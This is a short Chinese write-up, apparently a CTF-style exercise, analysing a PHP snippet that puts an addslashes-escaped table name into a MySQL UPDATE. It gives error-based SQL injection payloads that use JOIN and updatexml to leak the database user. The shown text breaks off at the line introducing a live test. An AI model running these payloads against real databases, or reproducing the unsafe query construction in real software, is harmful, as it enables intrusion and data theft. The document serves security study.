昨天在小密圈看到ph师傅发了一段code,当时想的是利用join方法去进行报错注入,结果晚上一看,乐师傅已经解决了QAQ(膜,自己也写一下关于这段code的分析:
code区域:
<?php
$link = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($link, 'code');
$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}`
SET `username`='admin'
WHERE id=1";
if(!mysqli_query($link, $sql)) {
echo(mysqli_error($link));
}
mysqli_close($link);
我们要注意的点是两个:
1---$_GET['table']在拼接进sql语句前会经过addslashes的处理
也就是对于下列预定义字符是会添加\:
单引号(')
双引号(")
反斜杠(\)
NULL
2---update的话,进行报错注入是最为靠谱的
在mysql控制台进行测试:
mysql> UPDATE `mytable` join (select updatexml(1,concat(0x23,user()),1))b SET `username`='admin' WHERE sex=1;
ERROR 1105 (HY000): XPATH syntax error: '#root@localhost'
但是这样显然是不行的,因为我们可控的在第一个``中,于是在后面再加入一个join操作就OK:
mysql> UPDATE `mytable` join (select updatexml(1,concat(0x23,user()),1))b join `mytable` `b` SET `username`='admin' WHERE sex=1;
ERROR 1105 (HY000): XPATH syntax error: '#root@localhost'
实际测试下: